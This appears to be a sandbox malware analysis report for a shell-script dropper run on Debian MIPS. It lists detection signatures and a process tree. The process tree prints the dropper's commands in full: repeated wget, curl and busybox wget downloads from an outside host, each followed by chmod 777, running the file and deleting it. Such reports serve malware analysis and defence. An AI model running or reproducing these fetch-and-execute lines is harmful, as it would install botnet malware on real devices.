Overview

overview

7

Static

static

1

5f3e8dc466...7cb.sh

ubuntu-18.04-amd64

3

5f3e8dc466...7cb.sh

debian-9-armhf

4

5f3e8dc466...7cb.sh

debian-9-mips

7

5f3e8dc466...7cb.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    149s
  • max time network
    39s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    22/11/2024, 02:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    5f3e8dc46692e77fb8a0dfc7eb9172e797b1facfdd6fa764711ee37927bae7cb.sh
  • Size 10KB
  • Sample241122-c1fk4aspav
  • SHA256 5f3e8dc46692e77fb8a0dfc7eb9172e797b1facfdd6fa764711ee37927bae7cb
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 9 IoCs
  • Reads runtime system information 10 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 31 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/5f3e8dc46692e77fb8a0dfc7eb9172e797b1facfdd6fa764711ee37927bae7cb.sh
    /tmp/5f3e8dc46692e77fb8a0dfc7eb9172e797b1facfdd6fa764711ee37927bae7cb.sh
    1⤵
      PID:703
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:706
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • System Network Configuration Discovery
          PID:711
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:725
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • System Network Configuration Discovery
          PID:733
        • /bin/chmod
          chmod 777 Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          ./Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
            PID:737
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • System Network Configuration Discovery
            PID:738
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:739
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • System Network Configuration Discovery
            PID:741
          • /bin/chmod
            chmod 777 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            ./3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Executes dropped EXE
            PID:743
          • /bin/rm
            rm 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
              PID:744
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • System Network Configuration Discovery
              PID:745
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:750
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • System Network Configuration Discovery
              PID:760
            • /bin/chmod
              chmod 777 ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • File and Directory Permissions Modification
              PID:765
            • /tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              ./ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Executes dropped EXE
              PID:767
            • /bin/rm
              rm ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
                PID:770
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • System Network Configuration Discovery
                PID:772
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:779
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • System Network Configuration Discovery
                PID:789
              • /bin/chmod
                chmod 777 U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • File and Directory Permissions Modification
                PID:799
              • /tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                ./U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Executes dropped EXE
                PID:800
              • /bin/rm
                rm U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                  PID:802
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  PID:803
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:805
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  PID:807
                • /bin/chmod
                  chmod 777 egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • File and Directory Permissions Modification
                  PID:808
                • /tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  ./egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • Executes dropped EXE
                  • System Network Configuration Discovery
                  PID:809
                • /bin/rm
                  rm egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  PID:810
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • System Network Configuration Discovery
                  PID:811
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:812
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • System Network Configuration Discovery
                  PID:822
                • /bin/chmod
                  chmod 777 16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • File and Directory Permissions Modification
                  PID:828
                • /tmp/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  ./16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • Executes dropped EXE
                  PID:829
                • /bin/rm
                  rm 16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                    PID:833
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • System Network Configuration Discovery
                    PID:834
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:848
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • System Network Configuration Discovery
                    PID:854
                  • /bin/chmod
                    chmod 777 nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • File and Directory Permissions Modification
                    PID:855
                  • /tmp/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    ./nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • Executes dropped EXE
                    PID:856
                  • /bin/rm
                    rm nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                      PID:857
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                      2⤵
                      • System Network Configuration Discovery
                      PID:858
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:859
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                      2⤵
                      • System Network Configuration Discovery
                      PID:861
                    • /bin/chmod
                      chmod 777 dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                      2⤵
                      • File and Directory Permissions Modification
                      PID:862
                    • /tmp/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                      ./dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                      2⤵
                      • Executes dropped EXE
                      PID:863
                    • /bin/rm
                      rm dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                      2⤵
                        PID:864
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                        2⤵
                        • System Network Configuration Discovery
                        PID:865
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:866
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                        2⤵
                        • System Network Configuration Discovery
                        PID:868
                      • /bin/chmod
                        chmod 777 PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                        2⤵
                        • File and Directory Permissions Modification
                        PID:869
                      • /tmp/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                        ./PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                        2⤵
                        • Executes dropped EXE
                        PID:870
                      • /bin/rm
                        rm PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                        2⤵
                          PID:871
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                          2⤵
                          • System Network Configuration Discovery
                          PID:872
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                          2⤵
                          • Reads runtime system information
                          • System Network Configuration Discovery
                          PID:873

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
                            • Path /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
                            • Size 153B
                            • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                            • MD5 SHA1 SHA512
                            Submit Download